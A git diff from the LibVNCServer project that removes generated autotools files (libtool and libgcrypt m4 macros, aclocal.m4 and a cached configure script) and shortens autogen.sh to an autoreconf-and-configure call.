- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- newsos6)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- openbsd*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- else
- case $host_os in
- openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(archive_cmds, $1)='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- else
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
-
- solaris*)
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
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- if test "$GCC" = yes; then
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- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
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- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
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-
- if test "$GCC" = yes; then
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- fi
- ;;
-
- uts4*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
-])
-AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)])
-test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
-
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-
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- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if AC_TRY_EVAL(ac_compile) 2>conftest.err; then
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- lib=conftest
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- wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)
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- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
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- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
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- _LT_AC_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag
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- cat conftest.err 1>&5
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-dnl Autoconf macros for libgcrypt
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-dnl
-dnl This file is free software; as a special exception the author gives
-dnl unlimited permission to copy and/or distribute it, with or without
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-dnl WITHOUT ANY WARRANTY, to the extent permitted by law; without even the
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-
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-dnl Test for libgcrypt and define LIBGCRYPT_CFLAGS and LIBGCRYPT_LIBS.
-dnl MINIMUN-VERSION is a string with the version number optionalliy prefixed
-dnl with the API version to also check the API compatibility. Example:
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- LIBGCRYPT_CONFIG=$libgcrypt_config_prefix/bin/libgcrypt-config
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- AC_PATH_PROG(LIBGCRYPT_CONFIG, libgcrypt-config, no)
- tmp=ifelse([$1], ,1:1.2.0,$1)
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- else
- req_libgcrypt_api=0
- min_libgcrypt_version="$tmp"
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-
- AC_MSG_CHECKING(for LIBGCRYPT - version >= $min_libgcrypt_version)
- ok=no
- if test "$LIBGCRYPT_CONFIG" != "no" ; then
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- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
- req_minor=`echo $min_libgcrypt_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
- req_micro=`echo $min_libgcrypt_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
- libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version`
- major=`echo $libgcrypt_config_version | \
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- fi
- fi
- fi
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- AC_MSG_RESULT([yes ($libgcrypt_config_version)])
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- AC_MSG_RESULT(no)
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- AC_MSG_RESULT([does not match. want=$req_libgcrypt_api got=$tmp])
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- fi
- fi
- fi
- if test $ok = yes; then
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- LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs`
- ifelse([$2], , :, [$2])
- else
- LIBGCRYPT_CFLAGS=""
- LIBGCRYPT_LIBS=""
- ifelse([$3], , :, [$3])
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- AC_SUBST(LIBGCRYPT_CFLAGS)
- AC_SUBST(LIBGCRYPT_LIBS)
-])
diff --git a/aclocal.m4 b/aclocal.m4
deleted file mode 100644
index d8ff8c4..0000000
--- a/aclocal.m4
+++ /dev/null
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-# gives unlimited permission to copy and/or distribute it,
-# with or without modifications, as long as this notice is preserved.
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-# This program is distributed in the hope that it will be useful,
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-# General Public License for more details.
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-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
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diff --git a/autogen.sh b/autogen.sh
index 2e809c6..0776325 100755
--- a/autogen.sh
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-ACLOCAL=aclocal-1.4
-
-($AUTOMAKE --version) < /dev/null > /dev/null 2>&1 || {
- AUTOMAKE=automake
- ACLOCAL=aclocal
-}
-
-(autoconf --version) < /dev/null > /dev/null 2>&1 || {
- echo
- echo "You must have autoconf installed to compile libvncserver."
- echo "Download the appropriate package for your distribution,"
- echo "or get the source tarball at ftp://ftp.gnu.org/pub/gnu/"
- DIE=1
-}
-
-($AUTOMAKE --version) < /dev/null > /dev/null 2>&1 || {
- echo
- echo "You must have automake installed to compile libvncserver."
- echo "Get ftp://sourceware.cygnus.com/pub/automake/automake-1.4.tar.gz"
- echo "(or a newer version if it is available)"
- DIE=1
-}
-
-if test "$DIE" -eq 1; then
- exit 1
-fi
-
-(test -f $srcdir/rfb/rfb.h) || {
- echo "You must run this script in the top-level libvncserver directory"
- exit 1
-}
-
-if test -z "$*"; then
- echo "I am going to run ./configure with no arguments - if you wish "
- echo "to pass any to it, please specify them on the $0 command line."
-fi
-
-$ACLOCAL $ACLOCAL_FLAGS
-autoheader
-$AUTOMAKE --add-missing --copy
-autoconf
-
-echo "Running ./configure --enable-maintainer-mode" "$@"
-$srcdir/configure --enable-maintainer-mode "$@"
-
-echo "Now type 'make' to compile libvncserver."
+autoreconf -fiv &&
+./configure
diff --git a/autom4te.cache/output.0 b/autom4te.cache/output.0
deleted file mode 100644
index 66c0ef8..0000000
--- a/autom4te.cache/output.0
+++ /dev/null
@@ -1,26287 +0,0 @@
-@%:@! /bin/sh
-@%:@ Guess values for system-dependent variables and create Makefiles.
-@%:@ Generated by GNU Autoconf 2.69 for LibVNCServer 0.9.9.
-@%:@
-@%:@ Report bugs to <http://sourceforge.net/projects/libvncserver>.
-@%:@
-@%:@
-@%:@ Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
-@%:@
-@%:@
-@%:@ This configure script is free software; the Free Software Foundation
-@%:@ gives unlimited permission to copy, distribute and modify it.
-## -------------------- ##
-## M4sh Initialization. ##
-## -------------------- ##
-
-# Be more Bourne compatible
-DUALCASE=1; export DUALCASE # for MKS sh
-if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then :
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- NULLCMD=:
- # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which
- # is contrary to our usage. Disable this feature.
- alias -g '${1+"$@"}'='"$@"'
- setopt NO_GLOB_SUBST
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- case `(set -o) 2>/dev/null` in @%:@(
- *posix*) :
- set -o posix ;; @%:@(
- *) :
- ;;
-esac
-fi
-
-
-as_nl='
-'
-export as_nl
-# Printing a long string crashes Solaris 7 /usr/bin/printf.
-as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'
-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo
-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo
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- as_echo_n='/usr/ucb/echo -n'
- else
- as_echo_body='eval expr "X$1" : "X\\(.*\\)"'
- as_echo_n_body='eval
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- arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;;
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- '
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- fi
- export as_echo_body
- as_echo='sh -c $as_echo_body as_echo'
-fi
-
-# The user is always right.
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- (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && {
- (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 ||
- PATH_SEPARATOR=';'
- }
-fi
-
-
-# IFS
-# We need space, tab and new line, in precisely that order. Quoting is
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-IFS=" "" $as_nl"
-
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-as_myself=
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- *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
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-
- ;;
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-if test "x$as_myself" = x; then
- as_myself=$0
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-if test ! -f "$as_myself"; then
- $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2
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-PS1='$ '
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-
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- emulate sh
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- alias -g '\${1+\"\$@\"}'='\"\$@\"'
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-## --------------------- ##
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- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_compile") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_c_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest.$ac_objext; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_c_try_compile
-
-@%:@ ac_fn_c_try_link LINENO
-@%:@ -----------------------
-@%:@ Try to link conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_c_try_link ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext conftest$ac_exeext
- if { { ac_try="$ac_link"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_link") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_c_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest$ac_exeext && {
- test "$cross_compiling" = yes ||
- test -x conftest$ac_exeext
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information
- # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would
- # interfere with the next link command; also delete a directory that is
- # left behind by Apple's compiler. We do this before executing the actions.
- rm -rf conftest.dSYM conftest_ipa8_conftest.oo
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_c_try_link
-
-@%:@ ac_fn_c_try_cpp LINENO
-@%:@ ----------------------
-@%:@ Try to preprocess conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_c_try_cpp ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- if { { ac_try="$ac_cpp conftest.$ac_ext"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } > conftest.i && {
- test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" ||
- test ! -s conftest.err
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_c_try_cpp
-
-@%:@ ac_fn_c_check_header_mongrel LINENO HEADER VAR INCLUDES
-@%:@ -------------------------------------------------------
-@%:@ Tests whether HEADER exists, giving a warning if it cannot be compiled using
-@%:@ the include files in INCLUDES and setting the cache variable VAR
-@%:@ accordingly.
-ac_fn_c_check_header_mongrel ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- if eval \${$3+:} false; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5
-$as_echo_n "checking for $2... " >&6; }
-if eval \${$3+:} false; then :
- $as_echo_n "(cached) " >&6
-fi
-eval ac_res=\$$3
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
-else
- # Is the header compilable?
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 usability" >&5
-$as_echo_n "checking $2 usability... " >&6; }
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$4
-@%:@include <$2>
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_header_compiler=yes
-else
- ac_header_compiler=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_compiler" >&5
-$as_echo "$ac_header_compiler" >&6; }
-
-# Is the header present?
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 presence" >&5
-$as_echo_n "checking $2 presence... " >&6; }
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <$2>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- ac_header_preproc=yes
-else
- ac_header_preproc=no
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_preproc" >&5
-$as_echo "$ac_header_preproc" >&6; }
-
-# So? What about this header?
-case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in #((
- yes:no: )
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&5
-$as_echo "$as_me: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5
-$as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;}
- ;;
- no:yes:* )
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: present but cannot be compiled" >&5
-$as_echo "$as_me: WARNING: $2: present but cannot be compiled" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: check for missing prerequisite headers?" >&5
-$as_echo "$as_me: WARNING: $2: check for missing prerequisite headers?" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: see the Autoconf documentation" >&5
-$as_echo "$as_me: WARNING: $2: see the Autoconf documentation" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&5
-$as_echo "$as_me: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5
-$as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;}
-( $as_echo "## ----------------------------------------------------------- ##
-## Report this to http://sourceforge.net/projects/libvncserver ##
-## ----------------------------------------------------------- ##"
- ) | sed "s/^/$as_me: WARNING: /" >&2
- ;;
-esac
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5
-$as_echo_n "checking for $2... " >&6; }
-if eval \${$3+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- eval "$3=\$ac_header_compiler"
-fi
-eval ac_res=\$$3
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
-
-} @%:@ ac_fn_c_check_header_mongrel
-
-@%:@ ac_fn_c_try_run LINENO
-@%:@ ----------------------
-@%:@ Try to link conftest.@S|@ac_ext, and return whether this succeeded. Assumes
-@%:@ that executables *can* be run.
-ac_fn_c_try_run ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- if { { ac_try="$ac_link"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_link") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && { ac_try='./conftest$ac_exeext'
- { { case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_try") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; }; then :
- ac_retval=0
-else
- $as_echo "$as_me: program exited with status $ac_status" >&5
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=$ac_status
-fi
- rm -rf conftest.dSYM conftest_ipa8_conftest.oo
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_c_try_run
-
-@%:@ ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES
-@%:@ -------------------------------------------------------
-@%:@ Tests whether HEADER exists and can be compiled using the include files in
-@%:@ INCLUDES, setting the cache variable VAR accordingly.
-ac_fn_c_check_header_compile ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5
-$as_echo_n "checking for $2... " >&6; }
-if eval \${$3+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$4
-@%:@include <$2>
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- eval "$3=yes"
-else
- eval "$3=no"
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-eval ac_res=\$$3
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
-
-} @%:@ ac_fn_c_check_header_compile
-
-@%:@ ac_fn_c_check_func LINENO FUNC VAR
-@%:@ ----------------------------------
-@%:@ Tests whether FUNC exists, setting the cache variable VAR accordingly
-ac_fn_c_check_func ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5
-$as_echo_n "checking for $2... " >&6; }
-if eval \${$3+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-/* Define $2 to an innocuous variant, in case <limits.h> declares $2.
- For example, HP-UX 11i <limits.h> declares gettimeofday. */
-#define $2 innocuous_$2
-
-/* System header to define __stub macros and hopefully few prototypes,
- which can conflict with char $2 (); below.
- Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
- <limits.h> exists even on freestanding compilers. */
-
-#ifdef __STDC__
-# include <limits.h>
-#else
-# include <assert.h>
-#endif
-
-#undef $2
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char $2 ();
-/* The GNU C library defines this for functions which it implements
- to always fail with ENOSYS. Some functions are actually named
- something starting with __ and the normal name is an alias. */
-#if defined __stub_$2 || defined __stub___$2
-choke me
-#endif
-
-int
-main ()
-{
-return $2 ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- eval "$3=yes"
-else
- eval "$3=no"
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi
-eval ac_res=\$$3
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
-
-} @%:@ ac_fn_c_check_func
-
-@%:@ ac_fn_cxx_try_compile LINENO
-@%:@ ----------------------------
-@%:@ Try to compile conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_cxx_try_compile ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext
- if { { ac_try="$ac_compile"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_compile") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_cxx_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest.$ac_objext; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_cxx_try_compile
-
-@%:@ ac_fn_cxx_try_cpp LINENO
-@%:@ ------------------------
-@%:@ Try to preprocess conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_cxx_try_cpp ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- if { { ac_try="$ac_cpp conftest.$ac_ext"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
